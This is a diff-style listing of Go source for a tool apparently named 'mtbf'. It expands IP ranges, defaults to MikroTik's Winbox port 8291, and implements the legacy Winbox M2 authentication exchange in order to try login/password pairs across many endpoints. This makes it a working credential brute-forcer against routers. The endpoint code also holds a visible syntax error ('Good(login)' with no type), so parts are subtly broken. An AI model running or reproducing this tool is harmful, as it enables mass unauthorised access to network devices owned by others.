e.consecutiveBadConn = 1 |
||||
} |
||||
|
||||
// 1. always bail after X consecutive bad conns
|
||||
if e.consecutiveBadConn >= CfgGetInt("max-bad-conn") { |
||||
log("ep", 3, "deleting \"%v\" due to max-bad-conn", e) |
||||
e.Delete() |
||||
return false |
||||
} |
||||
|
||||
// 2. after a good conn, always allow at most X bad conns
|
||||
if e.goodConn > 0 && e.consecutiveBadConn <= CfgGetInt("max-bad-after-good-conn") { |
||||
log("ep", 3, "keeping \"%v\" around due to max-bad-after-good-conn", e) |
||||
e.Delay(CfgGetDurationMS("no-response-delay-ms")) |
||||
return true |
||||
} |
||||
|
||||
// 3. always allow at most X bad conns
|
||||
if e.consecutiveBadConn < CfgGetInt("min-bad-conn") { |
||||
log("ep", 3, "keeping \"%v\" around due to min-bad-conn", e) |
||||
e.Delay(CfgGetDurationMS("no-response-delay-ms")) |
||||
return true |
||||
} |
||||
|
||||
// 4. bad conn/good conn ratio must not be higher than X
|
||||
if e.goodConn > 0 && (float64(e.badConn)/float64(e.goodConn)) <= CfgGetFloat("conn-ratio") { |
||||
log("ep", 3, "keeping \"%v\" around due to conn-ratio", e) |
||||
e.Delay(CfgGetDurationMS("no-response-delay-ms")) |
||||
return true |
||||
} |
||||
|
||||
// otherwise, just delete it
|
||||
log("ep", 3, "deleting \"%v\" due to no applicable grace conditions", e) |
||||
e.Delete() |
||||
return false |
||||
} |
||||
|
||||
// ProtocolError is an event handler that gets called when
|
||||
// an Endpoint responds with wrong or missing data.
|
||||
func (e *Endpoint) ProtocolError() bool { |
||||
e.mutex.Lock() |
||||
defer e.mutex.Unlock() |
||||
|
||||
e.protoErrors++ |
||||
e.consecutiveProtoErrors++ |
||||
|
||||
// 1. always bail after X consecutive protocol errors
|
||||
if e.consecutiveProtoErrors >= CfgGetInt("max-proto-errors") { |
||||
log("ep", 3, "deleting \"%v\" due to max-proto-errors", e) |
||||
e.Delete() |
||||
return false |
||||
} |
||||
|
||||
// 2. always allow at most X consecutive protocol errors
|
||||
if e.consecutiveProtoErrors < CfgGetInt("min-proto-errors") { |
||||
log("ep", 3, "keeping \"%v\" around due to min-proto-errors", e) |
||||
e.Delay(CfgGetDurationMS("protocol-error-delay-ms")) |
||||
return true |
||||
} |
||||
|
||||
// 3. bad conn/good conn ratio must not be higher than X
|
||||
if e.goodConn > 0 && (float64(e.protoErrors)/float64(e.goodConn)) <= CfgGetFloat("proto-error-ratio") { |
||||
log("ep", 3, "keeping \"%v\" around due to proto-error-ratio", e) |
||||
e.Delay(CfgGetDurationMS("protocol-error-delay-ms")) |
||||
return true |
||||
} |
||||
|
||||
// otherwise, just delete it
|
||||
log("ep", 3, "deleting \"%v\" due to no applicable grace conditions", e) |
||||
e.Delete() |
||||
return false |
||||
} |
||||
|
||||
// Bad is an event handler that gets called when
|
||||
// an authentication attempt to an Endpoint fails.
|
||||
func (e *Endpoint) Bad() { |
||||
e.mutex.Lock() |
||||
defer e.mutex.Unlock() |
||||
e.consecutiveProtoErrors = 0 |
||||
|
||||
// The endpoint may be in delayed queue, so push it back to the normal queue.
|
||||
e.MigrateToNormal() |
||||
} |
||||
|
||||
// Good is an event handler that gets called when
|
||||
// an authentication attempt to an Endpoint succeeds.
|
||||
func (e *Endpoint) Good(login) { |
||||
e.mutex.Lock() |
||||
defer e.mutex.Unlock() |
||||
e.consecutiveProtoErrors = 0 |
||||
|
||||
if !CfgGetSwitch("keep-endpoint-on-good") { |
||||
e.Delete() |
||||
} else { |
||||
e.MigrateToNormal() |
||||
e.SkipLogin(login) |
||||
} |
||||
} |
||||
|
||||
// Connected is an event handler that gets called when
|
||||
// a connection attempt to an Endpoint succeeds.
|
||||
func (e *Endpoint) Connected() { |
||||
e.mutex.Lock() |
||||
defer e.mutex.Unlock() |
||||
|
||||
e.goodConn++ |
||||
if e.consecutiveBadConn == 0 { |
||||
e.consecutiveGoodConn++ |
||||
} else { |
||||
e.consecutiveBadConn = 0 |
||||
e.consecutiveGoodConn = 1 |
||||
} |
||||
} |
||||
|
||||
// NoSuchLogin is an event handler that gets called when
|
||||
// a service module determines that a login does not present
|
||||
// on an Endpoint and therefore can be excluded from processing.
|
||||
func (e *Endpoint) NoSuchLogin(login string) { |
||||
e.mutex.Lock() |
||||
defer e.mutex.Unlock() |
||||
|
||||
e.SkipLogin(login) |
||||
} |
||||
|
||||
// EventWithParm tells an Endpoint that something important has happened,
|
||||
// or a hint has been acquired.
|
||||
// It is normally called from a Task handler.
|
||||
// Returns False if an event resulted in a deletion of its Endpoint.
|
||||
func (e *Endpoint) EventWithParm(event TaskEvent, parm any) bool { |
||||
log("ep", 4, "endpoint event for \"%v\": %v", e, event) |
||||
|
||||
if event == TE_Generic { |
||||
return true // do not process generic events
|
||||
} |
||||
|
||||
switch event { |
||||
case TE_NoResponse: |
||||
return e.NoResponse() |
||||
|
||||
case TE_ProtocolError: |
||||
return e.ProtocolError() |
||||
|
||||
case TE_Good: |
||||
e.Good(parm.(string)) |
||||
return false |
||||
|
||||
case TE_Bad: |
||||
e.Bad() |
||||
case TN_Connected: |
||||
e.Connected() |
||||
case TH_NoSuchLogin: |
||||
e.NoSuchLogin(parm.(string)) |
||||
} |
||||
|
||||
return true // keep this endpoint
|
||||
} |
||||
|
||||
// Event is a parameterless version of EventWithParm.
|
||||
func (e *Endpoint) Event(event TaskEvent) bool { |
||||
return e.EventWithParm(event, 0) |
||||
} |
||||
|
||||
// Exhausted gets called when an endpoint no longer has any valid logins and passwords,
|
||||
// thus it may be deleted.
|
||||
func (e *Endpoint) Exhausted() { |
||||
e.mutex.Lock() |
||||
defer e.mutex.Unlock() |
||||
e.Delete() |
||||
} |
||||
|
||||
// GetDelayedEndpoint retrieves an Endpoint from the delayed list.
|
||||
func GetDelayedEndpoint() (e *Endpoint, waitTime time.Duration) { |
||||
currentTime := time.Now() |
||||
|
||||
if delayedEndpoints.Empty() { |
||||
log("ep", 5, "delayed endpoint list is empty") |
||||
return nil, 0 |
||||
} |
||||
|
||||
it := delayedEndpoints.IteratorAt(delayedEndpoints.Left()) |
||||
for { |
||||
k, v := it.Key().(time.Time), it.Value().(*Endpoint) |
||||
|
||||
if v == nil { |
||||
log("ep", 5, "!!! empty delayed endpoint!!!") |
||||
return nil, 0 |
||||
} |
||||
|
||||
if k.After(currentTime) { |
||||
log("ep", 5, "no delayed endpoints can be processed at this time") |
||||
return nil, k.Sub(currentTime) |
||||
} |
||||
|
||||
if k.Before(v.delayUntil) { |
||||
log("ep", 5, "delayed endpoint was re-delayed: removing lingering definition") |
||||
defer delayedEndpoints.Remove(k) |
||||
it.Next() |
||||
continue |
||||
} |
||||
|
||||
if v.delayUntil.IsZero() { |
||||
log("ep", 5, "delayed endpoint is already in normal queue: removing lingering definition") |
||||
defer delayedEndpoints.Remove(k) |
||||
it.Next() |
||||
continue |
||||
} |
||||
|
||||
defer delayedEndpoints.Remove(k) |
||||
return v, 0 |
||||
} |
||||
|
||||
log("ep", 5, "delayed endpoint list was holding only lingering definitions and is now empty") |
||||
return nil, 0 |
||||
} |
||||
|
||||
// FetchEndpoint retrieves an endpoint: first, a delayed RB tree is queried,
|
||||
// then, if nothing is found, a normal list is searched,
|
||||
// and (TODO) if this list is empty or will soon be emptied,
|
||||
// a new batch of endpoints gets created.
|
||||
func FetchEndpoint() (e *Endpoint, waitTime time.Duration) { |
||||
endpointMutex.Lock() |
||||
defer endpointMutex.Unlock() |
||||
|
||||
e, waitTime = GetDelayedEndpoint() |
||||
if e != nil { |
||||
log("ep", 4, "fetched a delayed endpoint: \"%v\"", e) |
||||
return e, 0 |
||||
} |
||||
|
||||
el := endpoints.Front() |
||||
if el == nil { |
||||
if waitTime == 0 { |
||||
log("ep", 1, "out of endpoints") |
||||
return nil, 0 |
||||
} |
||||
|
||||
log("ep", 4, "all endpoints are delayed, waiting for %v", waitTime) |
||||
return nil, waitTime |
||||
} |
||||
|
||||
endpoints.MoveToBack(el) |
||||
e = el.Value.(*Endpoint) |
||||
|
||||
log("ep", 4, "fetched an endpoint: \"%v\"", e) |
||||
return e, 0 |
||||
} |
||||
|
||||
// Safety feature, to avoid expanding subnets into a huge amount of IPs.
|
||||
const maxNetmaskSize = 22 // expands into /10 for IPv4
|
||||
|
||||
// RegisterEndpoint builds an Endpoint and puts it to a global list of endpoints.
|
||||
func RegisterEndpoint(ip string, ports []int, isIPv6 bool) int { |
||||
for _, port := range ports { |
||||
ep := Endpoint{addr: Address{ip: ip, port: port, v6: isIPv6}} |
||||
ep.loginPos.Reset() |
||||
ep.passwordPos.Reset() |
||||
|
||||
ep.listElement = endpoints.PushBack(&ep) |
||||
log("ep", 3, "ok registered: %v", &ep) |
||||
} |
||||
|
||||
return len(ports) |
||||
} |
||||
|
||||
func incIP(ip net.IP) { |
||||
for j := len(ip) - 1; j >= 0; j-- { |
||||
ip[j]++ |
||||
if ip[j] > 0 { |
||||
break |
||||
} |
||||
} |
||||
} |
||||
|
||||
func parseCIDR(ip string, ports []int, isIPv6 bool) int { |
||||
na, nm, err := net.ParseCIDR(ip) |
||||
if err != nil { |
||||
log("ep", 0, "failed to parse CIDR notation for \"%v\": %v", ip, err.Error()) |
||||
return 0 |
||||
} |
||||
|
||||
mask, maskBits := nm.Mask.Size() |
||||
if mask < maskBits-maxNetmaskSize { |
||||
log("ep", 0, "ignoring out of safe bounds CIDR netmask for \"%v\": %v (max: %v, allowed: %v)", ip, mask, maskBits, maxNetmaskSize) |
||||
return 0 |
||||
} |
||||
|
||||
curHost := 0 |
||||
maxHost := 1<<(maskBits-mask) - 1 |
||||
numParsed := 0 |
||||
strict := CfgGetSwitch("strict-subnets") |
||||
|
||||
log("ep", 2, "expanding CIDR: \"%v\" to %v hosts", ip, maxHost+1) |
||||
|
||||
for expIP := na.Mask(nm.Mask); nm.Contains(expIP); incIP(expIP) { |
||||
if strict && (curHost == 0 || curHost == maxHost) && maskBits-mask >= 2 { |
||||
log("ep", 1, "ignoring network/broadcast address due to strict-subnets: \"%v\"", expIP.String()) |
||||
} else { |
||||
numParsed += parseIPPorts(expIP.String(), ports, isIPv6) |
||||
} |
||||
curHost++ |
||||
} |
||||
|
||||
return numParsed |
||||
} |
||||
|
||||
func parseIPPorts(ip string, ports []int, isIPv6 bool) int { |
||||
// ip may be a domain name, a CIDR subnet or an IP address
|
||||
// CIDR subnets must be expanded to plain IPs
|
||||
|
||||
if strings.LastIndex(ip, "/") >= 0 { // this is a CIDR subnet
|
||||
return parseCIDR(ip, ports, isIPv6) |
||||
} else if strings.Count(ip, "/") > 1 { // invalid CIDR notation
|
||||
log("ep", 0, "invalid CIDR subnet format: \"%v\", ignoring", ip) |
||||
return 0 |
||||
} else { // otherwise, just register
|
||||
return RegisterEndpoint(ip, ports, isIPv6) |
||||
} |
||||
} |
||||
|
||||
func extractIPAndPort(str string, skippedIPv6 *int) (ip string, port int, err error) { |
||||
var portString string |
||||
ip, portString, err = net.SplitHostPort(str) |
||||
if err != nil { |
||||
return "", 0, err |
||||
} |
||||
|
||||
port, err = strconv.Atoi(portString) |
||||
if err != nil { |
||||
return "", 0, err |
||||
} |
||||
|
||||
if port <= 0 || port > 65535 { |
||||
return "", 0, errors.New("invalid port: " + strconv.Itoa(port)) |
||||
} |
||||
|
||||
return ip, port, nil |
||||
} |
||||
|
||||
func ParseEndpoints(source []string) { |
||||
log("ep", 1, "parsing endpoints") |
||||
totalIPv6Skipped := 0 |
||||
numParsed := 0 |
||||
|
||||
for _, str := range source { |
||||
if !strings.Contains(str, ":") { |
||||
// no ":": this is an ipv4/dn without port,
|
||||
// parse it with all known ports
|
||||
|
||||
numParsed += parseIPPorts(str, CfgGetIntSlice("port"), false) |
||||
} else { |
||||
// either ipv4/dn with port, or ipv6 with/without port
|
||||
|
||||
isIPv6 := strings.Count(str, ":") > 1 |
||||
if isIPv6 && CfgGetSwitch("no-ipv6") { |
||||
log("ep", 1, "skipping ipv6 target \"%v\" due to no-ipv6", str) |
||||
totalIPv6Skipped++ |
||||
continue |
||||
} |
||||
|
||||
if !strings.Contains(str, "]:") && strings.Contains(str, "::") { |
||||
// ipv6 without port
|
||||
numParsed += parseIPPorts(str, CfgGetIntSlice("port"), true) |
||||
continue |
||||
} |
||||
|
||||
ip, port, err := extractIPAndPort(str, &totalIPv6Skipped) |
||||
if err != nil { |
||||
log("ep", 0, "failed to extract ip/port for \"%v\": %v", str, err.Error()) |
||||
continue |
||||
} |
||||
|
||||
ports := []int{port} |
||||
// append all default ports
|
||||
if CfgGetSwitch("append-default-ports") { |
||||
for _, port2 := range CfgGetIntSlice("port") { |
||||
if port != port2 { |
||||
ports = append(ports, port2) |
||||
} |
||||
} |
||||
} |
||||
|
||||
numParsed += parseIPPorts(ip, ports, isIPv6) |
||||
} |
||||
} |
||||
|
||||
logIf(totalIPv6Skipped > 0, "ep", 0, "skipping %v IPv6 targets due to no-ipv6 flag", totalIPv6Skipped) |
||||
log("ep", 1, "finished parsing endpoints: got %v, total %v", numParsed, endpoints.Len()) |
||||
} |
||||
|
||||
func init() { |
||||
endpoints = list.New() |
||||
delayedEndpoints = list.New() |
||||
|
||||
CfgRegister("port", []int{8291}, "one or more default ports") |
||||
CfgRegister("max-aps", 5, "maximum number of attempts per second for an endpoint") |
||||
CfgRegisterSwitch("no-ipv6", "skip IPv6 entries") |
||||
CfgRegisterSwitch("append-default-ports", "always append default ports even for targets in host:port format") |
||||
CfgRegisterSwitch("strict-subnets", "strict subnet behaviour: ignore network and broadcast addresses in /30 and bigger subnets") |
||||
|
||||
CfgRegisterSwitch("keep-endpoint-on-good", "keep processing endpoint if a login/password was found") |
||||
|
||||
CfgRegister("conn-ratio", 0.15, "keep a failed endpoint if its bad/good connection ratio is lower than this value") |
||||
CfgRegister("max-bad-after-good-conn", 5, "how many consecutive bad connections to allow after a good connection") |
||||
CfgRegister("max-bad-conn", 20, "always remove endpoint after this many consecutive bad connections") |
||||
CfgRegister("min-bad-conn", 2, "do not consider removing an endpoint if it does not have this many consecutive bad connections") |
||||
|
||||
CfgRegister("proto-error-ratio", 0.25, "keep endpoints with a protocol error if their protocol error ratio is lower than this value") |
||||
CfgRegister("max-proto-errors", 20, "always remove endpoint after this many consecutive protocol errors") |
||||
CfgRegister("min-proto-errors", 4, "do not consider removing an endpoint if it does not have this many consecutive protocol errors") |
||||
|
||||
CfgRegister("read-error-ratio", 0.25, "keep endpoints with a read error if their read error ratio is lower than this value") |
||||
CfgRegister("max-read-errors", 20, "always remove endpoint after this many consecutive read errors") |
||||
CfgRegister("min-read-errors", 3, "do not consider removing an endpoint if it does not have this many consecutive read errors") |
||||
|
||||
CfgRegister("no-response-delay-ms", 2000, "wait for this number of ms if an endpoint does not respond") |
||||
CfgRegister("read-error-delay-ms", 5000, "wait for this number of ms if an endpoint returns a read error") |
||||
CfgRegister("protocol-error-delay-ms", 5000, "wait for this number of ms if an endpoint returns a protocol error") |
||||
|
||||
} |
@ -0,0 +1,5 @@ |
||||
module mtbf |
||||
|
||||
go 1.18 |
||||
|
||||
require github.com/emirpasic/gods v1.18.1 |
@ -0,0 +1,2 @@ |
||||
github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= |
||||
github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= |
@ -0,0 +1,439 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"bytes" |
||||
"crypto/md5" |
||||
"encoding/binary" |
||||
"errors" |
||||
"fmt" |
||||
"io" |
||||
"strconv" |
||||
) |
||||
|
||||
const MT_BOOL_FALSE byte = 0x00 |
||||
const MT_BOOL_TRUE byte = 0x01 |
||||
const MT_DWORD byte = 0x08 |
||||
const MT_BYTE byte = 0x09 |
||||
const MT_STRING byte = 0x21 |
||||
const MT_HASH byte = 0x31 |
||||
const MT_ARRAY byte = 0x88 |
||||
|
||||
const MT_RECEIVER = 0xFF0001 |
||||
const MT_SENDER = 0xFF0002 |
||||
const MT_REPLY_EXPECTED = 0xFF0005 |
||||
const MT_REQUEST_ID = 0xFF0006 |
||||
const MT_COMMAND = 0xFF0007 |
||||
|
||||
type M2Element struct { |
||||
code int |
||||
value interface{} |
||||
} |
||||
|
||||
func (el *M2Element) String() string { |
||||
return fmt.Sprintf("code=%v,type=%T,value=%v", el.code, el.value, el.value) |
||||
} |
||||
|
||||
|
||||
type M2Message struct { |
||||
el []M2Element |
||||
} |
||||
|
||||
type M2Hash string |
||||
|
||||
func NewM2Message() *M2Message { |
||||
m2 := M2Message{} |
||||
return &m2 |
||||
} |
||||
|
||||
func (m2 *M2Message) Clear() { |
||||
m2.el = []M2Element{} |
||||
} |
||||
|
||||
func (m2 *M2Message) Append(code int, value interface{}) { |
||||
if m2.el == nil { |
||||
m2.Clear() |
||||
} |
||||
m2.el = append(m2.el, M2Element{code: code, value: value}) |
||||
} |
||||
|
||||
func (m2 *M2Message) AppendElement(el *M2Element) { |
||||
if m2.el == nil { |
||||
m2.Clear() |
||||
} |
||||
m2.el = append(m2.el, *el) |
||||
} |
||||
|
||||
func (m2 *M2Message) Bytes() []byte { |
||||
res := []byte{} |
||||
|
||||
for _, el := range m2.el { |
||||
buf := new(bytes.Buffer) |
||||
|
||||
binary.Write(buf, binary.LittleEndian, uint16(el.code)) |
||||
binary.Write(buf, binary.LittleEndian, byte(el.code >> 16)) |
||||
|
||||
switch v := el.value.(type) { |
||||
case bool: |
||||
binary.Write(buf, binary.LittleEndian, v) |
||||
case byte: |
||||
binary.Write(buf, binary.LittleEndian, byte(MT_BYTE)) |
||||
binary.Write(buf, binary.LittleEndian, v) |
||||
case int: |
||||
binary.Write(buf, binary.LittleEndian, byte(MT_DWORD)) |
||||
binary.Write(buf, binary.LittleEndian, int32(v)) |
||||
case uint: |
||||
binary.Write(buf, binary.LittleEndian, byte(MT_DWORD)) |
||||
binary.Write(buf, binary.LittleEndian, uint32(v)) |
||||
case string: |
||||
binary.Write(buf, binary.LittleEndian, byte(MT_STRING)) |
||||
binary.Write(buf, binary.LittleEndian, byte(len(v))) |
||||
binary.Write(buf, binary.LittleEndian, []byte(v)) |
||||
case M2Hash: |
||||
binary.Write(buf, binary.LittleEndian, byte(MT_HASH)) |
||||
binary.Write(buf, binary.LittleEndian, byte(len(v))) |
||||
binary.Write(buf, binary.LittleEndian, []byte(v)) |
||||
case []byte: |
||||
binary.Write(buf, binary.LittleEndian, byte(MT_ARRAY)) |
||||
binary.Write(buf, binary.LittleEndian, uint16(len(v))) |
||||
for _, i := range v { |
||||
binary.Write(buf, binary.LittleEndian, int32(i)) |
||||
} |
||||
case []int: |
||||
binary.Write(buf, binary.LittleEndian, byte(MT_ARRAY)) |
||||
binary.Write(buf, binary.LittleEndian, uint16(len(v))) |
||||
for _, i := range v { |
||||
binary.Write(buf, binary.LittleEndian, int32(i)) |
||||
} |
||||
} |
||||
|
||||
res = append(res, buf.Bytes()...) |
||||
} |
||||
|
||||
header := make([]byte, 6) |
||||
header[0] = byte(len(res) + 4) |
||||
header[1] = 0x01 |
||||
header[2] = 0x00 |
||||
header[3] = byte(len(res) + 2) |
||||
header[4] = 0x4D |
||||
header[5] = 0x32 |
||||
|
||||
return append(header, res...) |
||||
} |
||||
|
||||
|
||||
func (m2 *M2Message) ParseM2Element(buf io.Reader) error { |
||||
var codeAndType uint32 |
||||
err := binary.Read(buf, binary.LittleEndian, &codeAndType) |
||||
if err != nil { |
||||
return err |
||||
} |
||||
|
||||
el := M2Element{code: int(codeAndType & 0x00FFFFFF)} |
||||
keyType := byte(codeAndType >> 24) |
||||
log("lw", 3, "m2 code=%v type=%v", el.code, keyType) |
||||
|
||||
switch keyType { |
||||
case MT_BOOL_FALSE, MT_BOOL_TRUE: |
||||
el.value = keyType == MT_BOOL_TRUE |
||||
log("lw", 3, "m2 MT_BOOL: %v", el.value.(bool)) |
||||
case MT_BYTE: |
||||
var b byte |
||||
err = binary.Read(buf, binary.LittleEndian, &b) |
||||
el.value = b |
||||
log("lw", 3, "m2 MT_BYTE: %v", el.value.(byte)) |
||||
case MT_DWORD: |
||||
var b int32 |
||||
err = binary.Read(buf, binary.LittleEndian, &b) |
||||
el.value = b |
||||
log("lw", 3, "m2 MT_DWORD: %v", el.value.(int32)) |
||||
|
||||
case MT_STRING: |
||||
var length byte |
||||
err = binary.Read(buf, binary.LittleEndian, &length) |
||||
if err != nil { |
||||
return err |
||||
} |
||||
|
||||
bs := make([]byte, length) |
||||
_, err = io.ReadFull(buf, bs) |
||||
el.value = string(bs) |
||||
log("lw", 3, "m2 MT_STRING (len %v): %v", length, el.value.(string)) |
||||
|
||||
case MT_HASH: |
||||
var length byte |
||||
err = binary.Read(buf, binary.LittleEndian, &length) |
||||
if err != nil { |
||||
return err |
||||
} |
||||
|
||||
bs := make([]byte, length) |
||||
_, err = io.ReadFull(buf, bs) |
||||
el.value = M2Hash(bs) |
||||
log("lw", 3, "m2 MT_HASH (len %v): %v", length, []byte(el.value.(M2Hash))) |
||||
|
||||
case MT_ARRAY: |
||||
var length uint16 |
||||
err = binary.Read(buf, binary.LittleEndian, &length) |
||||
if err != nil { |
||||
return err |
||||
} |
||||
|
||||
sl := []int{} |
||||
for i := 0; i < int(length); i++ { |
||||
var el2 int32 |
||||
err = binary.Read(buf, binary.LittleEndian, &el2) |
||||
if err != nil { |
||||
break |
||||
} |
||||
sl = append(sl, int(el2)) |
||||
} |
||||
el.value = sl |
||||
log("lw", 3, "m2 MT_HASH (len %v): %v", length, el.value.([]int)) |
||||
|
||||
default: |
||||
return errors.New("unknown key code " + strconv.Itoa(int(keyType))) |
||||
} |
||||
|
||||
if err != nil { |
||||
return err |
||||
} |
||||
|
||||
m2.el = append(m2.el, el) |
||||
return nil |
||||
} |
||||
|
||||
func (m2 *M2Message) ParseM2Message(buf io.Reader) error { |
||||
var headerBlockSize, m2BlockSize byte |
||||
var m2Extra, m2Header uint16 |
||||
err := binary.Read(buf, binary.LittleEndian, &headerBlockSize) |
||||
err = binary.Read(buf, binary.LittleEndian, &m2Extra) |
||||
err = binary.Read(buf, binary.LittleEndian, &m2BlockSize) |
||||
err = binary.Read(buf, binary.LittleEndian, &m2Header) |
||||
if err != nil { |
||||
return err |
||||
} |
||||
if m2Extra != 0x1 { |
||||
return errors.New("invalid M2_EXTRA") |
||||
} |
||||
if m2Header != 0x324D { |
||||
return errors.New("invalid M2_HEADER") |
||||
} |
||||
|
||||
for { |
||||
log("lw", 3, "parsing new m2 element") |
||||
err := m2.ParseM2Element(buf) |
||||
if err != nil { |
||||
return err |
||||
} |
||||
} |
||||
} |
||||
|
||||
func ParseM2Messages(src []byte) (messages []M2Message, err error) { |
||||
messages = []M2Message{} |
||||
buf := bytes.NewReader(src) |
||||
|
||||
for { |
||||
m2 := NewM2Message() |
||||
err := m2.ParseM2Message(buf) |
||||
|
||||
if err == io.EOF { |
||||
messages = append(messages, *m2) |
||||
break |
||||
} else if err != nil { |
||||
return nil, err |
||||
} else { |
||||
messages = append(messages, *m2) |
||||
} |
||||
} |
||||
|
||||
|
||||
log("lw", 3, "m2 eof after %v messages", len(messages)) |
||||
return messages, nil |
||||
} |
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
type LegacyWinbox struct { |
||||
task *Task |
||||
stage int |
||||
m2 []M2Message |
||||
} |
||||
|
||||
func NewLegacyWinbox(task *Task) *LegacyWinbox { |
||||
lw := LegacyWinbox{task: task, stage: -1, m2: []M2Message{}} |
||||
return &lw |
||||
} |
||||
|
||||
|
||||
// req1
|
||||
func (lw *LegacyWinbox) MTReqList() []byte { |
||||
m2 := NewM2Message() |
||||
m2.Append(MT_RECEIVER, []byte{2, 2}) |
||||
m2.Append(MT_COMMAND, byte(7)) |
||||
m2.Append(MT_REQUEST_ID, byte(1)) |
||||
m2.Append(MT_REPLY_EXPECTED, true) |
||||
m2.Append(1, "list") |
||||
return m2.Bytes() |
||||
} |
||||
|
||||
// res1
|
||||
func (lw *LegacyWinbox) MTGetSid(m2 []M2Message) *M2Element { |
||||
for _, msg := range m2 { |
||||
for _, el := range msg.el { |
||||
if el.code == 0xFE0001 { |
||||
return &el |
||||
} |
||||
} |
||||
} |
||||
|
||||
return nil |
||||
} |
||||
|
||||
|
||||
// req2
|
||||
func (lw *LegacyWinbox) MTReqChallenge(sid *M2Element) []byte { |
||||
m2 := NewM2Message() |
||||
m2.Append(MT_RECEIVER, []byte{13, 4}) |
||||
m2.Append(MT_COMMAND, byte(4)) |
||||
m2.Append(MT_REQUEST_ID, byte(2)) |
||||
m2.AppendElement(sid) |
||||
m2.Append(MT_REPLY_EXPECTED, true) |
||||
return m2.Bytes() |
||||
} |
||||
|
||||
// res2
|
||||
func (lw *LegacyWinbox) MTGetSalt(m2 []M2Message) M2Hash { |
||||
for _, msg := range m2 { |
||||
for _, el := range msg.el { |
||||
if el.code == 0x9 { |
||||
return el.value.(M2Hash) |
||||
} |
||||
} |
||||
} |
||||
|
||||
return "" |
||||
} |
||||
|
||||
|
||||
// req3
|
||||
func (lw *LegacyWinbox) MTReqAuth(sid *M2Element, login, digest, salt string) []byte { |
||||
m2 := NewM2Message() |
||||
m2.Append(MT_RECEIVER, []byte{13, 4}) |
||||
m2.Append(MT_COMMAND, byte(1)) |
||||
m2.Append(MT_REQUEST_ID, byte(3)) |
||||
m2.AppendElement(sid) |
||||
m2.Append(MT_REPLY_EXPECTED, true) |
||||
m2.Append(1, login) |
||||
m2.Append(9, M2Hash(salt)) |
||||
m2.Append(10, M2Hash(digest)) |
||||
return m2.Bytes() |
||||
} |
||||
|
||||
// res3
|
||||
func (lw *LegacyWinbox) MTGetResult(m2 []M2Message) (res bool, err error) { |
||||
for _, msg := range m2 { |
||||
for _, el := range msg.el { |
||||
if el.code == 0xA { |
||||
_, ok := el.value.(M2Hash) |
||||
if ok { |
||||
return true, nil |
||||
} |
||||
} else if el.code == 0xFF0008 { |
||||
v, ok := el.value.(int32) |
||||
if ok && v == 0xFE0006 { |
||||
return false, nil |
||||
} |
||||
} |
||||
} |
||||
} |
||||
|
||||
return false, errors.New("no auth marker found") |
||||
} |
||||
|
||||
|
||||
|
||||
|
||||
func (lw *LegacyWinbox) SendRecv(buf []byte) (res []byte, err error) { |
||||
_, err = lw.task.conn.Write(buf) |
||||
if err != nil { |
||||
log("lw", 1, "failed to send: %v", err.Error()) |
||||
return nil, err |
||||
} |
||||
|
||||
resp := make([]byte, 1024) |
||||
n, err := lw.task.conn.Read(resp) |
||||
if err != nil { |
||||
log("lw", 1, "failed to recv: %v", err.Error()) |
||||
return nil, err |
||||
} |
||||
|
||||
return resp[:n], nil |
||||
} |
||||
|
||||
|
||||
func (lw *LegacyWinbox) TryLogin() (res bool, err error) { |
||||
log("lw", 2, "login: stage 1, req_list") |
||||
r1, err := lw.SendRecv(lw.MTReqList()) |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
log("lw", 2, "login: stage 2, got response for req_list") |
||||
msg, err := ParseM2Messages(r1) |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
sid := lw.MTGetSid(msg) |
||||
if sid == nil { |
||||
return false, errors.New("failed to get SID from stage 2") |
||||
} |
||||
log("lw", 2, "login: stage 2, sid %v", sid.String()) |
||||
r2, err := lw.SendRecv(lw.MTReqChallenge(sid)) |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
log("lw", 2, "login: stage 3, got response for req_challenge") |
||||
log("lw", 2, "r2: %v", r2) |
||||
|
||||
msg, err = ParseM2Messages(r2) |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
salt := lw.MTGetSalt(msg) |
||||
if salt == "" { |
||||
return false, errors.New("failed to get salt from stage 3") |
||||
} |
||||
|
||||
sl := []byte{0} |
||||
sl = append(sl, []byte(lw.task.password)...) |
||||
sl = append(sl, []byte(salt)...) |
||||
d := md5.Sum(sl) |
||||
digest := append([]byte{0}, d[:]...) |
||||
|
||||
log("lw", 2, "login: stage 3, hash %v", digest) |
||||
r3, err := lw.SendRecv(lw.MTReqAuth(sid, lw.task.login, string(digest), string(salt))) |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
log("lw", 2, "login: stage 4, got response for req_salt") |
||||
msg, err = ParseM2Messages(r3) |
||||
if err != nil { |
||||
return false, err |
||||
} |
||||
|
||||
res, err = lw.MTGetResult(msg) |
||||
log("lw", 2, "login: stage 5: res=%v err=%v", res, err) |
||||
|
||||
return res, err |
||||
} |
@ -0,0 +1,91 @@ |
||||
package main |
||||
|
||||
import ( |
||||
"fmt" |
||||
"os" |
||||
"strings" |
||||
) |
||||
|
||||
func shouldLog(facility string, level, maxLevel int) bool { |
||||
moduleMap := CfgGet("log-module-map").(map[string]bool) |
||||
|
||||
logModule, ok := moduleMap[strings.ToLower(facility)] |
||||
if ok { |
||||
return logModule |
||||
} |
||||
|
||||
if maxLevel < 0 { |
||||
return true // log everything if log-level is -1
|
||||
} |
||||
|
||||
return maxLevel >= level |
||||
} |
||||
|
||||
func log(facility string, level int, s string, params ...interface{}) { |
||||
maxLevel := CfgGetInt("log-level") |
||||
if !shouldLog(facility, level, maxLevel) { |
||||
return |
||||
} |
||||
|
||||
var prefix = "" |
||||
if level > 0 { |
||||
prefix = strings.Repeat("-", level) + "> " |
||||
} |
||||
if (maxLevel >= 2 || maxLevel < 0) && facility != "" { |
||||
prefix = prefix + "[" + strings.ToUpper(facility) + "]: " |
||||
} |
||||
|
||||
if len(params) == 0 { |
||||
fmt.Printf(prefix + s + "\n") |
||||
} else { |
||||
fmt.Printf(prefix+s+"\n", params...) |
||||
} |
||||
